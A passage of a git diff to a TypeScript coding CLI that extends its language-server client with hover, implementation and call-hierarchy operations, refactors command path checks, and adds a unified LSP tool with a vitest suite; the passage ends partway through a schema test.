path.basename(workspaceFolderPath) || workspaceFolderPath, uri: config.rootUri, }; const initializeParams = { processId: process.pid, rootUri: config.rootUri, - rootPath: this.workspaceRoot, + rootPath: workspaceFolderPath, workspaceFolders: [workspaceFolder], capabilities: { textDocument: { @@ -904,8 +2123,21 @@ export class NativeLspService { }, }); + if (config.settings && Object.keys(config.settings).length > 0) { + connection.connection.send({ + jsonrpc: '2.0', + method: 'workspace/didChangeConfiguration', + params: { + settings: config.settings, + }, + }); + } + // Warm up TypeScript server by opening a workspace file so it can create a project. - if (config.name.includes('typescript')) { + if ( + config.name.includes('typescript') || + (config.command?.includes('typescript') ?? false) + ) { try { const tsFile = this.findFirstTypescriptFile(); if (tsFile) { @@ -936,13 +2168,18 @@ export class NativeLspService { /** * 检查命令是否存在 */ - private async commandExists(command: string): Promise { + private async commandExists( + command: string, + env?: Record, + cwd?: string, + ): Promise { // 实现命令存在性检查 return new Promise((resolve) => { let settled = false; const child = spawn(command, ['--version'], { stdio: ['ignore', 'ignore', 'ignore'], - cwd: this.workspaceRoot, + cwd: cwd ?? this.workspaceRoot, + env: this.buildProcessEnv(env), }); child.on('error', () => { @@ -971,23 +2208,19 @@ export class NativeLspService { /** * 检查路径安全性 */ - private isPathSafe(command: string, workspacePath: string): boolean { + private isPathSafe( + command: string, + workspacePath: string, + cwd?: string, + ): boolean { // 检查命令是否在工作区路径内，或者是否在系统 PATH 中 // 允许全局安装的命令（如在 PATH 中的命令） // 只阻止显式指定工作区外绝对路径的情况 - if (path.isAbsolute(command)) { - // 如果是绝对路径，检查是否在工作区路径内 - const resolvedPath = path.resolve(command); - const resolvedWorkspacePath = path.resolve(workspacePath); - return ( - resolvedPath.startsWith(resolvedWorkspacePath + path.sep) || - resolvedPath === resolvedWorkspacePath - ); - } - // 相对路径和命令名（在 PATH 中查找）认为是安全的 - // 但需要确保相对路径不指向工作区外 - const resolvedPath = path.resolve(workspacePath, command); const resolvedWorkspacePath = path.resolve(workspacePath); + const basePath = cwd ? path.resolve(cwd) : resolvedWorkspacePath; + const resolvedPath = path.isAbsolute(command) + ? path.resolve(command) + : path.resolve(basePath, command); return ( resolvedPath.startsWith(resolvedWorkspacePath + path.sep) || resolvedPath === resolvedWorkspacePath @@ -1008,7 +2241,7 @@ export class NativeLspService { if (this.requireTrustedWorkspace || serverConfig.trustRequired) { console.log( - `工作区未受信任，跳过 LSP 服务器 ${serverName} (${serverConfig.command})`, + `工作区未受信任，跳过 LSP 服务器 ${serverName} (${serverConfig.command ?? serverConfig.transport})`, ); return false; } @@ -1056,7 +2289,10 @@ export class NativeLspService { } private isTypescriptServer(handle: LspServerHandle): boolean { - return handle.config.name.includes('typescript'); + return ( + handle.config.name.includes('typescript') || + (handle.config.command?.includes('typescript') ?? false) + ); } private isNoProjectErrorResponse(response: unknown): boolean { diff --git a/packages/core/src/config/config.ts b/packages/core/src/config/config.ts index 4625896e9..7d504c212 100644 --- a/packages/core/src/config/config.ts +++ b/packages/core/src/config/config.ts @@ -64,6 +64,7 @@ import { WriteFileTool } from '../tools/write-file.js'; import { LspWorkspaceSymbolTool } from '../tools/lsp-workspace-symbol.js'; import { LspGoToDefinitionTool } from '../tools/lsp-go-to-definition.js'; import { LspFindReferencesTool } from '../tools/lsp-find-references.js'; +import { LspTool } from '../tools/lsp.js'; import type { LspClient } from '../lsp/types.js'; // Other modules @@ -1583,6 +1584,9 @@ export class Config { registerCoreTool(WebSearchTool, this); } if (this.isLspEnabled() && this.getLspClient()) { + // Register the unified LSP tool (recommended) + registerCoreTool(LspTool, this); + // Keep legacy tools for backward compatibility registerCoreTool(LspGoToDefinitionTool, this); registerCoreTool(LspFindReferencesTool, this); registerCoreTool(LspWorkspaceSymbolTool, this); diff --git a/packages/core/src/lsp/types.ts b/packages/core/src/lsp/types.ts index 309ad43b9..936a784ac 100644 --- a/packages/core/src/lsp/types.ts +++ b/packages/core/src/lsp/types.ts @@ -39,20 +39,140 @@ export interface LspDefinition extends LspLocationWithServer { readonly serverName?: string; } +/** + * Hover result containing documentation or type information. + */ +export interface LspHoverResult { + /** The hover content as a string (normalized from MarkupContent/MarkedString). */ + contents: string; + /** Optional range that the hover applies to. */ + range?: LspRange; + /** The LSP server that provided this result. */ + serverName?: string; +} + +/** + * Call hierarchy item representing a function, method, or callable. + */ +export interface LspCallHierarchyItem { + /** The name of this item. */ + name: string; + /** The kind of this item (function, method, constructor, etc.) as readable string. */ + kind?: string; + /** The raw numeric SymbolKind from LSP, preserved for server communication. */ + rawKind?: number; + /** Additional details like signature or file path. */ + detail?: string; + /** The URI of the document containing this item. */ + uri: string; + /** The full range of this item. */ + range: LspRange; + /** The range that should be selected when navigating to this item. */ + selectionRange: LspRange; + /** Opaque data used by the server for subsequent calls. */ + data?: unknown; + /** The LSP server that provided this item. */ + serverName?: string; +} + +/** + * Incoming call representing a function that calls the target. + */ +export interface LspCallHierarchyIncomingCall { + /** The caller item. */ + from: LspCallHierarchyItem; + /** The ranges where the call occurs within the caller. */ + fromRanges: LspRange[]; +} + +/** + * Outgoing call representing a function called by the target. + */ +export interface LspCallHierarchyOutgoingCall { + /** The callee item. */ + to: LspCallHierarchyItem; + /** The ranges where the call occurs within the caller. */ + fromRanges: LspRange[]; +} + export interface LspClient { + /** + * Search for symbols across the workspace. + */ workspaceSymbols( query: string, limit?: number, ): Promise; + + /** + * Get hover information (documentation, type info) for a symbol. + */ + hover( + location: LspLocation, + serverName?: string, + ): Promise; + + /** + * Get all symbols in a document. + */ + documentSymbols( + uri: string, + serverName?: string, + limit?: number, + ): Promise; + + /** + * Find where a symbol is defined. + */ definitions( location: LspLocation, serverName?: string, limit?: number, ): Promise; + + /** + * Find implementations of an interface or abstract method. + */ + implementations( + location: LspLocation, + serverName?: string, + limit?: number, + ): Promise; + + /** + * Find all references to a symbol. + */ references( location: LspLocation, serverName?: string, includeDeclaration?: boolean, limit?: number, ): Promise; + + /** + * Prepare call hierarchy item at a position (functions/methods). + */ + prepareCallHierarchy( + location: LspLocation, + serverName?: string, + limit?: number, + ): Promise; + + /** + * Find all functions/methods that call the given function. + */ + incomingCalls( + item: LspCallHierarchyItem, + serverName?: string, + limit?: number, + ): Promise; + + /** + * Find all functions/methods called by the given function. + */ + outgoingCalls( + item: LspCallHierarchyItem, + serverName?: string, + limit?: number, + ): Promise; } diff --git a/packages/core/src/tools/lsp.test.ts b/packages/core/src/tools/lsp.test.ts new file mode 100644 index 000000000..ca2a2fc0c --- /dev/null +++ b/packages/core/src/tools/lsp.test.ts @@ -0,0 +1,1220 @@ +/** + * @license + * Copyright 2025 Google LLC + * SPDX-License-Identifier: Apache-2.0 + */ + +import { describe, it, expect, vi, beforeEach, type Mock } from 'vitest'; +import path from 'node:path'; +import { pathToFileURL } from 'node:url'; +import type { Config } from '../config/config.js'; +import type { + LspCallHierarchyIncomingCall, + LspCallHierarchyItem, + LspCallHierarchyOutgoingCall, + LspClient, + LspDefinition, + LspHoverResult, + LspLocation, + LspReference, + LspSymbolInformation, +} from '../lsp/types.js'; +import { LspTool, type LspToolParams, type LspOperation } from './lsp.js'; + +const abortSignal = new AbortController().signal; +const workspaceRoot = '/test/workspace'; + +/** + * Helper to resolve a path relative to workspace root. + */ +const resolvePath = (...segments: string[]) => + path.join(workspaceRoot, ...segments); + +/** + * Helper to convert file path to URI. + */ +const toUri = (filePath: string) => pathToFileURL(filePath).toString(); + +/** + * Helper to create a mock LspLocation. + */ +const createLocation = ( + filePath: string, + line: number, + character: number, +): LspLocation => ({ + uri: toUri(filePath), + range: { + start: { line, character }, + end: { line, character }, + }, +}); + +/** + * Create a mock LspClient with all methods mocked. + */ +const createMockClient = (): LspClient => + ({ + workspaceSymbols: vi.fn().mockResolvedValue([]), + hover: vi.fn().mockResolvedValue(null), + documentSymbols: vi.fn().mockResolvedValue([]), + definitions: vi.fn().mockResolvedValue([]), + implementations: vi.fn().mockResolvedValue([]), + references: vi.fn().mockResolvedValue([]), + prepareCallHierarchy: vi.fn().mockResolvedValue([]), + incomingCalls: vi.fn().mockResolvedValue([]), + outgoingCalls: vi.fn().mockResolvedValue([]), + }) as unknown as LspClient; + +/** + * Create a mock Config for testing. + */ +const createMockConfig = (client?: LspClient, enabled = true): Config => + ({ + getLspClient: () => client, + isLspEnabled: () => enabled, + getProjectRoot: () => workspaceRoot, + }) as unknown as Config; + +/** + * Create a LspTool with mock config. + */ +const createTool = (client?: LspClient, enabled = true) => + new LspTool(createMockConfig(client, enabled)); + +describe('LspTool', () => { + describe('validateToolParams', () => { + let tool: LspTool; + + beforeEach(() => { + tool = createTool(); + }); + + describe('location-based operations', () => { + const locationOperations: LspOperation[] = [ + 'goToDefinition', + 'findReferences', + 'hover', + 'goToImplementation', + 'prepareCallHierarchy', + ]; + + it.each(locationOperations)( + 'requires filePath for %s operation', + (operation) => { + const result = tool.validateToolParams({ + operation, + } as LspToolParams); + expect(result).toBe(`filePath is required for ${operation}.`); + }, + ); + + it.each(locationOperations)( + 'requires line for %s operation', + (operation) => { + const result = tool.validateToolParams({ + operation, + filePath: 'src/app.ts', + } as LspToolParams); + expect(result).toBe(`line is required for ${operation}.`); + }, + ); + + it.each(locationOperations)( + 'passes validation with valid params for %s', + (operation) => { + const result = tool.validateToolParams({ + operation, + filePath: 'src/app.ts', + line: 10, + character: 5, + } as LspToolParams); + expect(result).toBeNull(); + }, + ); + }); + + describe('documentSymbol operation', () => { + it('requires filePath for documentSymbol', () => { + const result = tool.validateToolParams({ + operation: 'documentSymbol', + } as LspToolParams); + expect(result).toBe('filePath is required for documentSymbol.'); + }); + + it('passes validation with filePath', () => { + const result = tool.validateToolParams({ + operation: 'documentSymbol', + filePath: 'src/app.ts', + } as LspToolParams); + expect(result).toBeNull(); + }); + }); + + describe('workspaceSymbol operation', () => { + it('requires query for workspaceSymbol', () => { + const result = tool.validateToolParams({ + operation: 'workspaceSymbol', + } as LspToolParams); + expect(result).toBe('query is required for workspaceSymbol.'); + }); + + it('rejects empty query', () => { + const result = tool.validateToolParams({ + operation: 'workspaceSymbol', + query: ' ', + } as LspToolParams); + expect(result).toBe('query is required for workspaceSymbol.'); + }); + + it('passes validation with query', () => { + const result = tool.validateToolParams({ + operation: 'workspaceSymbol', + query: 'Widget', + } as LspToolParams); + expect(result).toBeNull(); + }); + }); + + describe('call hierarchy operations', () => { + it('requires callHierarchyItem for incomingCalls', () => { + const result = tool.validateToolParams({ + operation: 'incomingCalls', + } as LspToolParams); + expect(result).toBe('callHierarchyItem is required for incomingCalls.'); + }); + + it('requires callHierarchyItem for outgoingCalls', () => { + const result = tool.validateToolParams({ + operation: 'outgoingCalls', + } as LspToolParams); + expect(result).toBe('callHierarchyItem is required for outgoingCalls.'); + }); + + it('passes validation with callHierarchyItem', () => { + const item: LspCallHierarchyItem = { + name: 'testFunc', + uri: 'file:///test.ts', + range: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }, + selectionRange: { + start: { line: 0, character: 0 }, + end: { line: 0, character: 10 }, + }, + }; + const result = tool.validateToolParams({ + operation: 'incomingCalls', + callHierarchyItem: item, + } as LspToolParams); + expect(result).toBeNull(); + }); + }); + + describe('numeric parameter validation', () => { + it('rejects non-positive line', () => { + const result = tool.validateToolParams({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 0, + } as LspToolParams); + expect(result).toBe('line must be a positive number.'); + }); + + it('rejects negative line', () => { + const result = tool.validateToolParams({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: -1, + } as LspToolParams); + expect(result).toBe('line must be a positive number.'); + }); + + it('rejects non-positive character', () => { + const result = tool.validateToolParams({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 1, + character: 0, + } as LspToolParams); + expect(result).toBe('character must be a positive number.'); + }); + + it('rejects non-positive limit', () => { + const result = tool.validateToolParams({ + operation: 'documentSymbol', + filePath: 'src/app.ts', + limit: 0, + } as LspToolParams); + expect(result).toBe('limit must be a positive number.'); + }); + }); + + describe('edge case validation', () => { + it('rejects empty filePath', () => { + const result = tool.validateToolParams({ + operation: 'goToDefinition', + filePath: '', + line: 1, + } as LspToolParams); + expect(result).toBe('filePath is required for goToDefinition.'); + }); + + it('rejects whitespace-only filePath', () => { + const result = tool.validateToolParams({ + operation: 'goToDefinition', + filePath: ' ', + line: 1, + } as LspToolParams); + expect(result).toBe('filePath is required for goToDefinition.'); + }); + + it('rejects whitespace-only query', () => { + const result = tool.validateToolParams({ + operation: 'workspaceSymbol', + query: ' \t\n ', + } as LspToolParams); + expect(result).toBe('query is required for workspaceSymbol.'); + }); + }); + }); + + describe('execute', () => { + describe('LSP disabled or unavailable', () => { + it('returns unavailable message when LSP is disabled', async () => { + const tool = createTool(undefined, false); + const invocation = tool.build({ + operation: 'hover', + filePath: 'src/app.ts', + line: 1, + character: 1, + }); + const result = await invocation.execute(abortSignal); + expect(result.llmContent).toContain('LSP hover is unavailable'); + expect(result.llmContent).toContain('LSP disabled or not initialized'); + }); + + it('returns unavailable message when no LSP client', async () => { + const tool = createTool(undefined, true); + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 1, + character: 1, + }); + const result = await invocation.execute(abortSignal); + // Note: operation labels are formatted (e.g., "go-to-definition") + expect(result.llmContent).toContain( + 'LSP go-to-definition is unavailable', + ); + }); + }); + + describe('goToDefinition operation', () => { + it('dispatches to definitions and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const definition: LspDefinition = { + ...createLocation(filePath, 10, 5), + serverName: 'tsserver', + }; + (client.definitions as Mock).mockResolvedValue([definition]); + + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(client.definitions).toHaveBeenCalledWith( + expect.objectContaining({ + uri: toUri(filePath), + range: expect.objectContaining({ + start: { line: 4, character: 9 }, // 1-based to 0-based conversion + }), + }), + undefined, + 20, + ); + expect(result.llmContent).toContain('Definitions for'); + expect(result.llmContent).toContain('1.'); + }); + + it('handles empty results', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.definitions as Mock).mockResolvedValue([]); + + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(result.llmContent).toContain('No definitions found'); + }); + }); + + describe('findReferences operation', () => { + it('dispatches to references and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const refs: LspReference[] = [ + { ...createLocation(filePath, 10, 5), serverName: 'tsserver' }, + { ...createLocation(filePath, 20, 8) }, + ]; + (client.references as Mock).mockResolvedValue(refs); + + const invocation = tool.build({ + operation: 'findReferences', + filePath: 'src/app.ts', + line: 5, + character: 10, + includeDeclaration: true, + }); + const result = await invocation.execute(abortSignal); + + // Default limit for references is 50 + expect(client.references).toHaveBeenCalledWith( + expect.objectContaining({ uri: toUri(filePath) }), + undefined, + true, + 50, + ); + expect(result.llmContent).toContain('References for'); + expect(result.llmContent).toContain('1.'); + expect(result.llmContent).toContain('2.'); + }); + }); + + describe('hover operation', () => { + it('dispatches to hover and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const hoverResult: LspHoverResult = { + contents: '**Type**: string\n\nA sample variable.', + }; + (client.hover as Mock).mockResolvedValue(hoverResult); + + const invocation = tool.build({ + operation: 'hover', + filePath: 'src/app.ts', + line: 10, + character: 5, + }); + const result = await invocation.execute(abortSignal); + + expect(client.hover).toHaveBeenCalled(); + expect(result.llmContent).toContain('Hover for'); + expect(result.llmContent).toContain('Type'); + }); + + it('handles null hover result', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.hover as Mock).mockResolvedValue(null); + + const invocation = tool.build({ + operation: 'hover', + filePath: 'src/app.ts', + line: 10, + character: 5, + }); + const result = await invocation.execute(abortSignal); + + expect(result.llmContent).toContain('No hover information found'); + }); + }); + + describe('documentSymbol operation', () => { + it('dispatches to documentSymbols and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const symbols: LspSymbolInformation[] = [ + { + name: 'MyClass', + kind: 'Class', + containerName: 'app', + location: createLocation(filePath, 5, 0), + serverName: 'tsserver', + }, + { + name: 'myFunction', + kind: 'Function', + location: createLocation(filePath, 20, 0), + }, + ]; + (client.documentSymbols as Mock).mockResolvedValue(symbols); + + const invocation = tool.build({ + operation: 'documentSymbol', + filePath: 'src/app.ts', + }); + const result = await invocation.execute(abortSignal); + + // Default limit for documentSymbols is 50 + expect(client.documentSymbols).toHaveBeenCalledWith( + toUri(filePath), + undefined, + 50, + ); + expect(result.llmContent).toContain('Document symbols for'); + expect(result.llmContent).toContain('MyClass'); + expect(result.llmContent).toContain('myFunction'); + }); + }); + + describe('workspaceSymbol operation', () => { + it('dispatches to workspaceSymbols and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const symbols: LspSymbolInformation[] = [ + { + name: 'Widget', + kind: 'Class', + location: createLocation(filePath, 10, 0), + }, + ]; + (client.workspaceSymbols as Mock).mockResolvedValue(symbols); + (client.references as Mock).mockResolvedValue([]); + + const invocation = tool.build({ + operation: 'workspaceSymbol', + query: 'Widget', + limit: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(client.workspaceSymbols).toHaveBeenCalledWith('Widget', 10); + expect(result.llmContent).toContain('symbols for query "Widget"'); + expect(result.llmContent).toContain('Widget'); + }); + }); + + describe('goToImplementation operation', () => { + it('dispatches to implementations and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'impl.ts'); + const impl: LspDefinition = { + ...createLocation(filePath, 15, 2), + serverName: 'tsserver', + }; + (client.implementations as Mock).mockResolvedValue([impl]); + + const invocation = tool.build({ + operation: 'goToImplementation', + filePath: 'src/interface.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(client.implementations).toHaveBeenCalled(); + expect(result.llmContent).toContain('Implementations for'); + }); + }); + + describe('prepareCallHierarchy operation', () => { + it('dispatches to prepareCallHierarchy and formats results with JSON', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const item: LspCallHierarchyItem = { + name: 'myFunction', + kind: 'Function', + detail: '(param: string)', + uri: toUri(filePath), + range: { + start: { line: 10, character: 0 }, + end: { line: 20, character: 1 }, + }, + selectionRange: { + start: { line: 10, character: 9 }, + end: { line: 10, character: 19 }, + }, + serverName: 'tsserver', + }; + (client.prepareCallHierarchy as Mock).mockResolvedValue([item]); + + const invocation = tool.build({ + operation: 'prepareCallHierarchy', + filePath: 'src/app.ts', + line: 11, + character: 15, + }); + const result = await invocation.execute(abortSignal); + + expect(client.prepareCallHierarchy).toHaveBeenCalled(); + expect(result.llmContent).toContain('Call hierarchy items for'); + expect(result.llmContent).toContain('myFunction'); + expect(result.llmContent).toContain('Call hierarchy items (JSON):'); + expect(result.llmContent).toContain('"name": "myFunction"'); + }); + }); + + describe('incomingCalls operation', () => { + it('dispatches to incomingCalls and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const targetPath = resolvePath('src', 'target.ts'); + const callerPath = resolvePath('src', 'caller.ts'); + + const targetItem: LspCallHierarchyItem = { + name: 'targetFunc', + uri: toUri(targetPath), + range: { + start: { line: 5, character: 0 }, + end: { line: 10, character: 1 }, + }, + selectionRange: { + start: { line: 5, character: 9 }, + end: { line: 5, character: 19 }, + }, + serverName: 'tsserver', + }; + + const callerItem: LspCallHierarchyItem = { + name: 'callerFunc', + kind: 'Function', + uri: toUri(callerPath), + range: { + start: { line: 20, character: 0 }, + end: { line: 30, character: 1 }, + }, + selectionRange: { + start: { line: 20, character: 9 }, + end: { line: 20, character: 19 }, + }, + }; + + const incomingCall: LspCallHierarchyIncomingCall = { + from: callerItem, + fromRanges: [ + { + start: { line: 25, character: 4 }, + end: { line: 25, character: 14 }, + }, + ], + }; + (client.incomingCalls as Mock).mockResolvedValue([incomingCall]); + + const invocation = tool.build({ + operation: 'incomingCalls', + callHierarchyItem: targetItem, + }); + const result = await invocation.execute(abortSignal); + + expect(client.incomingCalls).toHaveBeenCalledWith( + targetItem, + 'tsserver', + 20, + ); + expect(result.llmContent).toContain('Incoming calls for targetFunc'); + expect(result.llmContent).toContain('callerFunc'); + expect(result.llmContent).toContain('Incoming calls (JSON):'); + }); + }); + + describe('outgoingCalls operation', () => { + it('dispatches to outgoingCalls and formats results', async () => { + const client = createMockClient(); + const tool = createTool(client); + const sourcePath = resolvePath('src', 'source.ts'); + const targetPath = resolvePath('src', 'target.ts'); + + const sourceItem: LspCallHierarchyItem = { + name: 'sourceFunc', + uri: toUri(sourcePath), + range: { + start: { line: 5, character: 0 }, + end: { line: 15, character: 1 }, + }, + selectionRange: { + start: { line: 5, character: 9 }, + end: { line: 5, character: 19 }, + }, + }; + + const targetItem: LspCallHierarchyItem = { + name: 'targetFunc', + kind: 'Function', + uri: toUri(targetPath), + range: { + start: { line: 20, character: 0 }, + end: { line: 30, character: 1 }, + }, + selectionRange: { + start: { line: 20, character: 9 }, + end: { line: 20, character: 19 }, + }, + serverName: 'tsserver', + }; + + const outgoingCall: LspCallHierarchyOutgoingCall = { + to: targetItem, + fromRanges: [ + { + start: { line: 10, character: 4 }, + end: { line: 10, character: 14 }, + }, + ], + }; + (client.outgoingCalls as Mock).mockResolvedValue([outgoingCall]); + + const invocation = tool.build({ + operation: 'outgoingCalls', + callHierarchyItem: sourceItem, + }); + const result = await invocation.execute(abortSignal); + + expect(client.outgoingCalls).toHaveBeenCalled(); + expect(result.llmContent).toContain('Outgoing calls for sourceFunc'); + expect(result.llmContent).toContain('targetFunc'); + expect(result.llmContent).toContain('Outgoing calls (JSON):'); + }); + }); + + describe('error handling', () => { + it('handles LSP client errors gracefully', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.definitions as Mock).mockRejectedValue( + new Error('Connection refused'), + ); + + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(result.llmContent).toContain('failed'); + expect(result.llmContent).toContain('Connection refused'); + }); + + it('handles hover operation errors', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.hover as Mock).mockRejectedValue(new Error('Server timeout')); + + const invocation = tool.build({ + operation: 'hover', + filePath: 'src/app.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(result.llmContent).toContain('failed'); + expect(result.llmContent).toContain('Server timeout'); + }); + + it('handles call hierarchy errors', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.prepareCallHierarchy as Mock).mockRejectedValue( + new Error('Not supported'), + ); + + const invocation = tool.build({ + operation: 'prepareCallHierarchy', + filePath: 'src/app.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + expect(result.llmContent).toContain('failed'); + expect(result.llmContent).toContain('Not supported'); + }); + }); + + describe('workspaceSymbol with references', () => { + it('fetches references for top match when available', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const refPath = resolvePath('src', 'other.ts'); + const symbols: LspSymbolInformation[] = [ + { + name: 'TopWidget', + kind: 'Class', + location: createLocation(filePath, 10, 0), + serverName: 'tsserver', + }, + ]; + const references: LspReference[] = [ + { ...createLocation(refPath, 5, 10), serverName: 'tsserver' }, + { ...createLocation(refPath, 20, 5) }, + ]; + (client.workspaceSymbols as Mock).mockResolvedValue(symbols); + (client.references as Mock).mockResolvedValue(references); + + const invocation = tool.build({ + operation: 'workspaceSymbol', + query: 'TopWidget', + }); + const result = await invocation.execute(abortSignal); + + // Should fetch references for top match + expect(client.references).toHaveBeenCalledWith( + symbols[0].location, + 'tsserver', + false, + expect.any(Number), + ); + expect(result.llmContent).toContain('References for top match'); + expect(result.llmContent).toContain('TopWidget'); + }); + + it('handles reference lookup failure gracefully', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const symbols: LspSymbolInformation[] = [ + { + name: 'Widget', + kind: 'Class', + location: createLocation(filePath, 10, 0), + }, + ]; + (client.workspaceSymbols as Mock).mockResolvedValue(symbols); + (client.references as Mock).mockRejectedValue( + new Error('References not supported'), + ); + + const invocation = tool.build({ + operation: 'workspaceSymbol', + query: 'Widget', + }); + const result = await invocation.execute(abortSignal); + + // Should still return symbols even if references fail + expect(result.llmContent).toContain('Widget'); + expect(result.llmContent).toContain('References lookup failed'); + }); + }); + + describe('returnDisplay verification', () => { + it('returns formatted display for definitions', async () => { + const client = createMockClient(); + const tool = createTool(client); + const filePath = resolvePath('src', 'app.ts'); + const definition: LspDefinition = { + ...createLocation(filePath, 10, 5), + serverName: 'tsserver', + }; + (client.definitions as Mock).mockResolvedValue([definition]); + + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 5, + character: 10, + }); + const result = await invocation.execute(abortSignal); + + // returnDisplay should be concise (without heading) + expect(result.returnDisplay).toBeDefined(); + expect(result.returnDisplay).toContain('1.'); + expect(result.returnDisplay).toContain('[tsserver]'); + }); + + it('returns formatted display for hover with trimmed content', async () => { + const client = createMockClient(); + const tool = createTool(client); + const hoverResult: LspHoverResult = { + contents: ' \n Type: string \n ', + }; + (client.hover as Mock).mockResolvedValue(hoverResult); + + const invocation = tool.build({ + operation: 'hover', + filePath: 'src/app.ts', + line: 10, + character: 5, + }); + const result = await invocation.execute(abortSignal); + + // returnDisplay should be trimmed + expect(result.returnDisplay).toBe('Type: string'); + }); + }); + + describe('serverName and limit parameter passing', () => { + it('passes serverName to client methods', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.definitions as Mock).mockResolvedValue([]); + + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 5, + character: 10, + serverName: 'pylsp', + }); + await invocation.execute(abortSignal); + + expect(client.definitions).toHaveBeenCalledWith( + expect.anything(), + 'pylsp', + expect.any(Number), + ); + }); + + it('passes custom limit to client methods', async () => { + const client = createMockClient(); + const tool = createTool(client); + (client.definitions as Mock).mockResolvedValue([]); + + const invocation = tool.build({ + operation: 'goToDefinition', + filePath: 'src/app.ts', + line: 5, + character: 10, + limit: 5, + }); + await invocation.execute(abortSignal); + + expect(client.definitions).toHaveBeenCalledWith( + expect.anything(), + undefined, + 5, + ); + }); + }); + }); + + describe('schema compatibility with Claude Code', () => { + /** + * Claude Code LSP tool schema reference: + * { + * "name": "lsp", + * "input_schema": { + * "type": "object", + * "properties": { + * "operation": { "type": "string", "enum": [...] }, + * "filePath": { "type": "string" }, + * "line": { "type": "number" }, + * "character": { "type": "number" }, + * "includeDeclaration": { "type": "boolean" }, + * "query": { "type": "string" }, + * "callHierarchyItem": { ... } + * }, + * "required": ["operation"] + * } + * } + */ + + it('has correct tool name', () => { + const tool = createTool(); + expect(tool.schema.name).toBe('lsp'); + }); + + it('has operation as only required field', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + required?: string[]; + }; + expect(schema.required).toEqual(['operation']); + }); + + it('operation enum matches Claude Code exactly', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: { + operation?: { + enum?: string[]; + }; + }; + }; + const expectedOperations = [ + 'goToDefinition', + 'findReferences', + 'hover', + 'documentSymbol', + 'workspaceSymbol', + 'goToImplementation', + 'prepareCallHierarchy', + 'incomingCalls', + 'outgoingCalls', + ]; + expect(schema.properties?.operation?.enum).toEqual(expectedOperations); + }); + + it('has all Claude Code core properties', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: Record; + }; + const properties = Object.keys(schema.properties ?? {}); + + // Core properties that must match Claude Code + const coreProperties = [ + 'operation', + 'filePath', + 'line', + 'character', + 'includeDeclaration', + 'query', + 'callHierarchyItem', + ]; + + for (const prop of coreProperties) { + expect(properties).toContain(prop); + } + }); + + it('extension properties are documented', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: Record; + }; + const properties = Object.keys(schema.properties ?? {}); + + // Our extensions beyond Claude Code + const extensionProperties = ['serverName', 'limit']; + + // All properties should be either core or documented extensions + const knownProperties = [ + 'operation', + 'filePath', + 'line', + 'character', + 'includeDeclaration', + 'query', + 'callHierarchyItem', + ...extensionProperties, + ]; + + for (const prop of properties) { + expect(knownProperties).toContain(prop); + } + }); + + it('filePath property has correct type', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: { + filePath?: { type?: string }; + }; + }; + expect(schema.properties?.filePath?.type).toBe('string'); + }); + + it('line and character properties have correct type', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: { + line?: { type?: string }; + character?: { type?: string }; + }; + }; + expect(schema.properties?.line?.type).toBe('number'); + expect(schema.properties?.character?.type).toBe('number'); + }); + + it('includeDeclaration property has correct type', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + properties?: { + includeDeclaration?: { type?: string }; + }; + }; + expect(schema.properties?.includeDeclaration?.type).toBe('boolean'); + }); + + it('callHierarchyItem has required structure', () => { + const tool = createTool(); + const schema = tool.schema.parametersJsonSchema as { + definitions?: { + LspCallHierarchyItem?: { + type?: string; + properties?: Record; + required?: string[]; + }; + }; + }; + const itemDef = schema.definitions?.LspCallHierarchyItem; + expect(itemDef?.type).toBe('object'); + expect(itemDef?.required).toEqual([ + 'name', + 'uri', + 'range', + 'selectionRange', + ]); + expect(itemDef?.properties).toHaveProperty('name'); + expect(itemDef?.properties).toHaveProperty('kind'); + expect(itemDef?.properties).toHaveProperty('uri'); + 